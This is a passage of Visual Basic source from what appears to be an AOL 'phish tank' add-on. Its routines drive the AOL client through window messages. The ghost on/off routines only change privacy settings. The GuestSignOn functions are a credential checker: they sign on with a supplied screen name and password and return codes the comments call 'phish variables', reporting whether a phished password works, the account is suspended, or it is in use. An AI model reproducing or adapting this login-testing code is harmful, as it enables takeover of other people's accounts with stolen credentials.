'if user is offline, then getuser = ""
Dim wWin As Long, wStr As String, iWelcome As Long, iExc As Long
wWin& = FindWelcome
If wWin& = 0& Then GetUser = "": Exit Function
wStr$ = GetText(wWin&)
iWelcome& = InStr(1, wStr$, "Welcome, ")
iExc& = InStr(1, wStr$, "!")
GetUser$ = Mid(wStr$, iWelcome& + Len("Welcome, "), iExc& - (iWelcome& + Len("Welcome, ")))
End Function
Public Sub ghostoff()
'turns off ghost on the current user's acct
Dim aol As Long, mdi As Long, bWin As Long, bIcon As Long
Dim sWin As Long, sIcon As Long, sLong As Long, mWin As Long, mBut As Long
Dim pWin As Long, pIcon As Long, pCheck As Long, pCheck2 As Long, pLong As Long
If AOLVersion = "3" Or AOLVersion = "2.5" Then
Call GhostOff25
Exit Sub
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
bWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
If bWin& = 0& Then
Call Keyword("bv")
Do
DoEvents
bWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
Loop Until bWin& <> 0&
pause (0.4)
End If
bIcon& = FindWindowEx(bWin&, 0&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
Call SendMessage(bIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(bIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
sWin& = FindBuddyLists
sIcon& = FindWindowEx(sWin&, 0&, "_AOL_Icon", vbNullString)
For sLong& = 1 To 4
sIcon& = FindWindowEx(sWin&, sIcon&, "_AOL_Icon", vbNullString)
Next sLong&
Loop Until sWin& <> 0& And sIcon& <> 0&
Call SendMessage(sIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(sIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
pause (0.4)
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Privacy Preferences")
pCheck& = FindWindowEx(pWin&, 0&, "_AOL_Checkbox", vbNullString)
pCheck2& = FindWindowEx(pWin&, pCheck&, "_AOL_Checkbox", vbNullString)
pCheck2& = FindWindowEx(pWin&, pCheck2&, "_AOL_Checkbox", vbNullString)
pCheck2& = FindWindowEx(pWin&, pCheck2&, "_AOL_Checkbox", vbNullString)
pCheck2& = FindWindowEx(pWin&, pCheck2&, "_AOL_Checkbox", vbNullString)
pCheck2& = FindWindowEx(pWin&, pCheck2&, "_AOL_Checkbox", vbNullString)
pIcon& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
Loop Until pWin& <> 0& And pCheck2 <> 0& And pIcon <> 0&
Call SendMessage(pCheck&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pCheck&, WM_LBUTTONUP, 0&, 0&)
Call SendMessage(pCheck2&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pCheck2&, WM_LBUTTONUP, 0&, 0&)
Call SendMessage(pIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
Loop Until mWin& <> 0& And mBut& <> 0&
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(sWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub GhostOff25()
'turns off ghost on the current user's acct
Dim aol As Long, mdi As Long, bWin As Long, bIcon As Long
Dim sWin As Long, sIcon As Long, mWin As Long, mBut As Long
Dim pWin As Long, pCheck As Long, pCheck2 As Long, pIcon As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
bWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
If bWin& = 0& Then
Call KeyWord25("bv")
Do
DoEvents
bWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
Loop Until bWin& <> 0&
End If
bIcon& = FindWindowEx(bWin&, 0&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
Call SendMessage(bIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(bIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
sWin& = FindBuddyLists
sIcon& = FindWindowEx(sWin&, 0&, "_AOL_Icon", vbNullString)
sIcon& = FindWindowEx(sWin&, sIcon&, "_AOL_Icon", vbNullString)
sIcon& = FindWindowEx(sWin&, sIcon&, "_AOL_Icon", vbNullString)
sIcon& = FindWindowEx(sWin&, sIcon&, "_AOL_Icon", vbNullString)
sIcon& = FindWindowEx(sWin&, sIcon&, "_AOL_Icon", vbNullString)
Loop Until sWin& <> 0& And sIcon& <> 0&
Call SendMessage(sIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(sIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Privacy Preferences")
pCheck& = FindWindowEx(pWin&, 0&, "_AOL_Button", vbNullString)
pCheck2& = FindWindowEx(pWin&, pCheck&, "_AOL_Button", vbNullString)
pCheck2& = FindWindowEx(pWin&, pCheck2&, "_AOL_Button", vbNullString)
pCheck2& = FindWindowEx(pWin&, pCheck2&, "_AOL_Button", vbNullString)
pCheck2& = FindWindowEx(pWin&, pCheck2&, "_AOL_Button", vbNullString)
pCheck2& = FindWindowEx(pWin&, pCheck2&, "_AOL_Button", vbNullString)
pIcon& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
Loop Until pWin& <> 0& And pCheck2& <> 0& And pIcon& <> 0&
pIcon& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
Call PostMessage(pCheck&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(pCheck&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(pCheck2&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(pCheck2&, WM_KEYUP, VK_SPACE, 0&)
pause (0.6)
Call SendMessage(pIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
Loop Until mWin& <> 0& And mBut& <> 0&
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(sWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub ghoston()
'makes current users account 'ghost'
Dim aol As Long, mdi As Long, bWin As Long, bIcon As Long
Dim sWin As Long, sIcon As Long, sLong As Long, mWin As Long, mBut As Long
Dim pWin As Long, pIcon As Long, pCheck As Long, pCheck2 As Long, pLong As Long
If AOLVersion = "3" Or AOLVersion = "2.5" Then
Call GhostOn25
Exit Sub
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
bWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
If bWin& = 0& Then
Call Keyword("bv")
Do
DoEvents
bWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
Loop Until bWin& <> 0&
pause (0.5)
End If
bIcon& = FindWindowEx(bWin&, 0&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
Call SendMessage(bIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(bIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
sWin& = FindBuddyLists
sIcon& = FindWindowEx(sWin&, 0&, "_AOL_Icon", vbNullString)
For sLong& = 1 To 4
sIcon& = FindWindowEx(sWin&, sIcon&, "_AOL_Icon", vbNullString)
Next sLong&
Loop Until sWin& <> 0& And sIcon& <> 0&
Call SendMessage(sIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(sIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Privacy Preferences")
pCheck& = FindWindowEx(pWin&, 0&, "_AOL_Checkbox", vbNullString)
For pLong& = 1 To 4
pCheck& = FindWindowEx(pWin&, pCheck&, "_AOL_Checkbox", vbNullString)
Next pLong&
pCheck2& = FindWindowEx(pWin&, pCheck&, "_AOL_Checkbox", vbNullString)
pCheck2& = FindWindowEx(pWin&, pCheck2&, "_AOL_Checkbox", vbNullString)
pIcon& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
Loop Until pWin& <> 0& And pCheck2 <> 0& And pIcon <> 0&
Call SendMessage(pCheck&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pCheck&, WM_LBUTTONUP, 0&, 0&)
Call SendMessage(pCheck2&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pCheck2&, WM_LBUTTONUP, 0&, 0&)
Call SendMessage(pIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
Loop Until mWin& <> 0& And mBut& <> 0&
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(sWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Sub GhostOn25()
'makes current users account 'ghost'
Dim aol As Long, mdi As Long, bWin As Long, bIcon As Long
Dim sWin As Long, sIcon As Long, mWin As Long, mBut As Long
Dim pWin As Long, pCheck As Long, pCheck2 As Long, pIcon As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
bWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
If bWin& = 0& Then
Call KeyWord25("bv")
Do
DoEvents
bWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Buddy List Window")
Loop Until bWin& <> 0&
pause (0.4)
End If
bIcon& = FindWindowEx(bWin&, 0&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
bIcon& = FindWindowEx(bWin&, bIcon&, "_AOL_Icon", vbNullString)
Call SendMessage(bIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(bIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
sWin& = FindBuddyLists
sIcon& = FindWindowEx(sWin&, 0&, "_AOL_Icon", vbNullString)
sIcon& = FindWindowEx(sWin&, sIcon&, "_AOL_Icon", vbNullString)
sIcon& = FindWindowEx(sWin&, sIcon&, "_AOL_Icon", vbNullString)
sIcon& = FindWindowEx(sWin&, sIcon&, "_AOL_Icon", vbNullString)
sIcon& = FindWindowEx(sWin&, sIcon&, "_AOL_Icon", vbNullString)
Loop Until sWin& <> 0& And sIcon& <> 0&
Call SendMessage(sIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(sIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Privacy Preferences")
'pCheck& = FindWindowEx(pWin&, 0&, "_AOL_Button", "Allow all AOL members and AOL Instant Messenger")
pCheck& = FindWindowEx(pWin&, 0&, "_AOL_Button", "Block all AOL members and AOL Instant Messenger users")
pCheck2& = FindWindowEx(pWin&, pCheck&, "_AOL_Button", vbNullString)
pCheck2& = FindWindowEx(pWin&, pCheck2&, "_AOL_Button", vbNullString)
pIcon& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
Loop Until pWin& <> 0& And pCheck2& <> 0& And pIcon& <> 0&
Call PostMessage(pCheck&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(pCheck&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(pCheck2&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(pCheck2&, WM_KEYUP, VK_SPACE, 0&)
pause (0.6)
pIcon& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
pIcon& = FindWindowEx(pWin&, pIcon&, "_AOL_Icon", vbNullString)
Call SendMessage(pIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(pIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
mWin& = FindWindow("#32770", "America Online")
mBut& = FindWindowEx(mWin&, 0&, "Button", "OK")
Loop Until mWin& <> 0& And mBut& <> 0&
Call PostMessage(mBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(mBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(sWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Function GuestSignOn(screenname As String, Password As String) As Integer
'crappy signon code, it's from pH
'the pwc4 and pwc25 subs are much better.
'phish variables...
'1 = signed on correctly
'2 = incorret password
'3 = currently signed on
'4 = invalid acct [not active] / suspended
'5 = int account
'example:
'If GuestSignOn("kai", "123456") = 1 Then
' bust into a room
'Else
' Call MsgBox("couldn't signon 'kai'", vbCritical + vbOKOnly, "signon error")
'End If
If AOLVersion = "3" Or AOLVersion = "2.5" Then
GuestSignOn = GuestSignOn25(screenname$, Password$)
Exit Function
End If
Dim aol As Long, mdi As Long, soWindow As Long, soEdit As Long, soButton As Long
Dim soCombo As Long, soButtonx As Long, cError As Long, cbut As Long
Dim guestwin As Long, guestEdit1 As Long, guestEdit2 As Long, guestButton As Long
Dim guestButton2 As Long, soAdios As Long, soWelcome As Long, soIncorrect As Long
Dim soIncStatic As Long, soIncString As String, soSignedOn As Long, soSignedStatic As Long
Dim soSignedText As String, soRICHCNTL As Long, soRICHText As String, sIDMod As Long, sIDBut As Long
Dim gbWin As Long, soStatic As String, signedonStr As String, incorrectBut As Long, signedonBut As Long, gbWin2 As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
If aol& = 0& Then GuestSignOn = 0: Exit Function
If GetUser <> "" Then
Call SignOff
If IsNumeric(GetFromINI("ph2", "signon pause", App.Path + "\ph2.ini")) = True Then
pause (GetFromINI("ph2", "signon pause", App.Path + "\ph2.ini"))
End If
End If
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
soWindow& = FindSignOnWindow
soEdit& = FindWindowEx(soWindow&, 0&, "_AOL_Edit", vbNullString)
soCombo& = FindWindowEx(soWindow&, 0&, "_AOL_ComboBox", vbNullString)
soButtonx& = FindWindowEx(soWindow&, 0&, "_AOL_Icon", vbNullString)
soButtonx& = FindWindowEx(soWindow&, soButtonx&, "_AOL_Icon", vbNullString)
soButtonx& = FindWindowEx(soWindow&, soButtonx&, "_AOL_Icon", vbNullString)
soButton& = FindWindowEx(soWindow&, soButtonx&, "_AOL_Icon", vbNullString)
If soButtonx& <> 0& And soButton& = 0& Then soButton& = soButtonx&
Loop Until soWindow& <> 0& And soCombo& <> 0& And soEdit& <> 0& And soButton& <> 0&
Call SendMessage(soCombo&, CB_SETCURSEL, SendMessage(soCombo&, CB_GETCOUNT, 0&, 0&) - 1, 0&)
Call ModalKill
Call SendMessageByString(soEdit&, WM_SETTEXT, 0&, "guestso")
Call SendMessageLong(soCombo&, WM_CHAR, ENTER_KEY, 0&)
Do
DoEvents
cError& = FindWindow("#32770", "The Connection Failed")
cbut& = FindWindowEx(cError&, 0&, "Button", "OK")
guestwin& = FindWindow("_AOL_Modal", vbNullString)
guestEdit1& = FindWindowEx(guestwin&, 0&, "_AOL_Edit", vbNullString)
guestEdit2& = FindWindowEx(guestwin&, guestEdit1&, "_AOL_Edit", vbNullString)
guestButton& = FindWindowEx(guestwin&, 0&, "_AOL_Icon", vbNullString)
guestButton2& = FindWindowEx(guestwin&, guestButton&, "_AOL_Icon", vbNullString)
Loop Until cError& <> 0& And cbut& <> 0& Or guestwin& <> 0& And guestEdit1& <> 0& And guestEdit2& <> 0& And guestButton& <> 0&
If cError& <> 0& Then
Call PostMessage(cbut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(cbut&, WM_KEYUP, VK_SPACE, 0&)
Call MsgBox("an error has occured.. make sure" + vbCrLf + "that you are connected to your tcp," + vbCrLf + "there aren't any busy signals, etc..", vbCritical + vbOKOnly, "pH phish tank²")
Exit Function
End If
Call SendMessageByString(guestEdit1&, WM_SETTEXT, 0&, screenname$)
Call SendMessageByString(guestEdit2&, WM_SETTEXT, 0&, Password$)
Call SendMessage(guestButton&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(guestButton&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
soAdios& = FindWindowEx(mdi&, 0&, "AOL Child", "Goodbye from America Online!")
soWelcome& = FindWelcome
soIncorrect& = FindWindow("#32770", "America Online")
soIncStatic& = FindWindowEx(soIncorrect&, 0&, "Static", "Incorrect name and/or password, please re-enter")
soIncString$ = GetText(soIncStatic&)
soSignedOn& = FindWindow("#32770", "America Online")
soSignedStatic& = FindWindowEx(soSignedOn&, 0&, "Static", vbNullString)
soSignedStatic& = FindWindowEx(soSignedOn&, soSignedStatic&, "Static", vbNullString)
soSignedText$ = GetText(soSignedStatic&)
soRICHCNTL& = FindWindowEx(soAdios&, 0&, "RICHCNTL", vbNullString)
soRICHCNTL& = FindWindowEx(soAdios&, soRICHCNTL&, "RICHCNTL", vbNullString)
soRICHText$ = GetText(soRICHCNTL&)
sIDMod& = FindWindow("_AOL_Modal", "Security Code")
sIDBut& = FindWindowEx(sIDMod&, 0&, "_AOL_Icon", vbNullString)
sIDBut& = FindWindowEx(sIDMod&, sIDBut&, "_AOL_Icon", vbNullString)
If aol& = 0& Then Exit Function
Loop Until soIncorrect& <> 0& Or soAdios& <> 0& And soRICHCNTL <> 0& And InStr(1, soRICHText$, " not currently active.") <> 0& Or soAdios& <> 0& And soSignedOn& <> 0& Or soWelcome& <> 0& Or InStr(1, soRICHText$, "Invalid account") <> 0& Or InStr(1, soRICHText$, "account is not currently") <> 0& Or InStr(1, soRICHText$, "login process did not complete") <> 0& Or sIDMod& <> 0& And sIDBut& <> 0&
If InStr(1, soRICHText$, "Invalid account") <> 0& Or InStr(1, soRICHText$, "account is not currently") <> 0& Then
Call SendMessageByString(soRICHCNTL&, WM_SETTEXT, 0&, "")
GuestSignOn = 4
Exit Function
ElseIf InStr(1, soRICHText$, "login process did not complete") <> 0& Then
Call SendMessageByString(soRICHCNTL&, WM_SETTEXT, 0&, "")
GuestSignOn = 3
Exit Function
End If
If soWelcome& <> 0& Then
GuestSignOn = 1
Exit Function
ElseIf sIDMod& <> 0& Then
Call PostMessage(sIDBut&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(sIDBut&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
gbWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Goodbye from America Online!")
Loop Until gbWin& <> 0&
GuestSignOn = 5
Exit Function
ElseIf soIncorrect& <> 0& Or soSignedOn& <> 0& And soAdios& <> 0& Then
soStatic$ = GetText(soIncStatic&)
signedonStr$ = GetText(soSignedStatic&)
incorrectBut& = FindWindowEx(soIncorrect&, 0&, "Button", "OK")
signedonBut& = FindWindowEx(soSignedOn&, 0&, "Button", "OK")
Call PostMessage(incorrectBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(incorrectBut&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(signedonBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(signedonBut&, WM_KEYUP, VK_SPACE, 0&)
Call SendMessage(guestButton2&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(guestButton2&, WM_LBUTTONUP, 0&, 0&)
Call SendMessage(guestButton2&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(guestButton2&, WM_KEYUP, VK_SPACE, 0&)
Do
DoEvents
gbWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Goodbye from America Online!")
gbWin2& = FindWindowEx(mdi&, 0&, "AOL Child", "Sign On")
Loop Until gbWin& <> 0& Or gbWin2& <> 0&
If InStr(1, signedonStr$, "Your account is signed on using") <> 0& Then
GuestSignOn = 3
ElseIf InStr(1, soStatic$, "and/or password,") <> 0& Then
GuestSignOn = 2
ElseIf InStr(1, signedonStr$, "account has been cancelled.") <> 0& Then
GuestSignOn = 2
End If
Exit Function
ElseIf soAdios& <> 0& And soRICHCNTL <> 0& And InStr(1, soRICHText$, " not currently active.") <> 0& Then
GuestSignOn = 2
Exit Function
End If
End Function
Public Function GuestSignOn25(screenname As String, Password As String) As Integer
'phish variables...
'1 = signed on correctly
'2 = incorret password
'3 = currently signed on
'4 = invalid acct [not active] / suspended
'5 = int account
'example:
'If GuestSignOn("kai", "123456") = 1 Then
' bust into a room
'Else
' Call MsgBox("couldn't signon 'kai'", vbCritical + vbOKOnly, "signon error")
'End If
Dim aol As Long, mdi As Long
Dim soWin As Long, soCombo As Long, soButton As Long, soEdit As Long
Dim cError As Long, cbut As Long
Dim guestwin As Long, guestEdit1 As Long, guestEdit2 As Long, guestButton As Long, guestCancel As Long, GuestStatic As Long
Dim welWin As Long, nWin As Long, nBut As Long, nStatic As Long, nString As String
Dim gbWin As Long, gbStatic As Long, gbString As String, gbMsg As Long, gbBut As Long
Dim sIDMod As Long, sIDBut As Long
Dim gWin As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
If aol& = 0& Then GuestSignOn25 = 0: Exit Function
GuestSignOn25 = 0
If GetUser <> "" Then
Call SignOff25
If IsNumeric(GetFromINI("ph2", "signon pause", App.Path + "\ph2.ini")) = True Then
pause (GetFromINI("ph2", "signon pause", App.Path + "\ph2.ini"))
End If
End If
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
soWin& = FindSignOnWindow
soCombo& = FindWindowEx(soWin&, 0&, "_AOL_Combobox", vbNullString)
soButton& = FindWindowEx(soWin&, 0&, "_AOL_Icon", vbNullString)
If AOLVersion = "3" Then
soButton& = FindWindowEx(soWin&, soButton&, "_AOL_Icon", vbNullString)
soButton& = FindWindowEx(soWin&, soButton&, "_AOL_Icon", vbNullString)
End If
soEdit& = FindWindowEx(soWin&, 0&, "_AOL_Edit", vbNullString)
Loop Until soWin& <> 0& And soCombo& <> 0& And soButton& <> 0&
Call SendMessage(soCombo&, CB_SETCURSEL, SendMessage(soCombo&, CB_GETCOUNT, 0&, 0&) - 2, 0&)
Call SendMessageByString(soEdit&, WM_SETTEXT, 0&, "guestso")
Call SendMessageLong(soButton&, WM_CHAR, ENTER_KEY, 0&)
Call SendMessageLong(soButton&, WM_CHAR, ENTER_KEY, 0&)
Do
DoEvents
cError& = FindWindow("#32770", "Connect Error")
cbut& = FindWindowEx(cError&, 0&, "Button", "OK")
guestwin& = FindWindow("_AOL_Modal", vbNullString)
guestEdit1& = FindWindowEx(guestwin&, 0&, "_AOL_Edit", vbNullString)
guestEdit2& = FindWindowEx(guestwin&, guestEdit1&, "_AOL_Edit", vbNullString)
guestButton& = FindWindowEx(guestwin&, 0&, "_AOL_Button", "OK")
guestCancel& = FindWindowEx(guestwin&, 0&, "_AOL_Button", "Cancel")
GuestStatic& = FindWindowEx(guestwin&, 0&, "_AOL_Static", vbNullString)
aol& = FindWindow("AOL Frame25", vbNullString)
If aol& = 0& Then Exit Function
Loop Until cError& <> 0& And cbut& <> 0& Or guestwin& <> 0& And guestEdit2& <> 0& And GuestStatic& <> 0& And guestCancel& <> 0&
If cError& <> 0& Then
Call PostMessage(cbut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(cbut&, WM_KEYUP, VK_SPACE, 0&)
Call MsgBox("an error has occured.. make sure" + vbCrLf + "that you are connected to your tcp," + vbCrLf + "there aren't any busy signals, etc..", vbCritical + vbOKOnly, "pH phish tank²")
Exit Function
End If
Call SendMessageByString(guestEdit1&, WM_SETTEXT, 0&, screenname)
Call SendMessageByString(guestEdit2&, WM_SETTEXT, 0&, Password)
Call SendMessage(guestButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(guestButton&, WM_KEYUP, VK_SPACE, 0&)
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
welWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Welcome, " + GetUser + "!")
nWin& = FindWindow("#32770", "America Online")
nBut& = FindWindowEx(nWin&, 0&, "Button", "OK")
nStatic& = FindWindowEx(nWin&, 0&, "Static", vbNullString)
nStatic& = FindWindowEx(nWin&, nStatic&, "Static", vbNullString)
nString$ = GetText(nStatic&)
gbWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Goodbye from America Online!")
If AOLVersion = "2.5" Then
gbStatic& = FindWindowEx(gbWin&, 0&, "_AOL_Static", vbNullString)
gbStatic& = FindWindowEx(gbWin&, gbStatic&, "_AOL_Static", vbNullString)
Else
gbStatic& = FindWindowEx(gbWin&, 0&, "RICHCNTL", vbNullString)
gbStatic& = FindWindowEx(gbWin&, gbStatic&, "RICHCNTL", vbNullString)
End If
gbString$ = GetText(gbStatic&)
gbMsg& = FindWindow("#32770", "America Online")
gbBut& = FindWindowEx(gbWin&, 0&, "Button", "OK")
sIDMod& = FindWindow("_AOL_Modal", "SecurID Code")
sIDBut& = FindWindowEx(sIDMod&, 0&, "_AOL_Button", vbNullString)
sIDBut& = FindWindowEx(sIDMod&, sIDBut&, "_AOL_Button", vbNullString)
If aol& = 0& Then Exit Function
Loop Until InStr(1, gbString$, "not currently active") <> 0& Or InStr(1, gbString$, "Invalid account") <> 0& Or welWin& <> 0& Or nWin& <> 0& And nBut& <> 0& And nStatic& <> 0& And nString$ <> "" Or sIDMod& <> 0& And sIDBut& <> 0&
If InStr(1, gbString$, "not currently active") <> 0& Then
GuestSignOn25 = 4
Exit Function
ElseIf InStr(1, gbString$, "Invalid account") <> 0& Then
GuestSignOn25 = 4
Exit Function
End If
If welWin& <> 0& Then
GuestSignOn25 = 1
ElseIf nWin& <> 0& Then
If InStr(1, nString$, "name and/or password") <> 0& Then
Call SendMessage(nBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(nBut&, WM_KEYUP, VK_SPACE, 0&)
Call SendMessage(guestCancel&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(guestCancel&, WM_KEYUP, VK_SPACE, 0&)
Do
DoEvents
gWin& = FindSignOnWindow
Loop Until gWin <> 0&
Call ModalKill
GuestSignOn25 = 2
ElseIf InStr(1, nString$, "per account can be online") <> 0& Then
Call PostMessage(nBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(nBut&, WM_KEYUP, VK_SPACE, 0&)
'Call PostMessage(guestCancel&, WM_KEYDOWN, VK_SPACE, 0&)
'Call PostMessage(guestCancel&, WM_KEYUP, VK_SPACE, 0&)
GuestSignOn25 = 3
ElseIf InStr(1, nString$, "account has been cancelled") <> 0& Then
Call PostMessage(nBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(nBut&, WM_KEYUP, VK_SPACE, 0&)
GuestSignOn25 = 4
End If
Exit Function
ElseIf sIDMod& <> 0& Then
Call PostMessage(sIDBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(sIDBut&, WM_KEYUP, VK_SPACE, 0&)
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
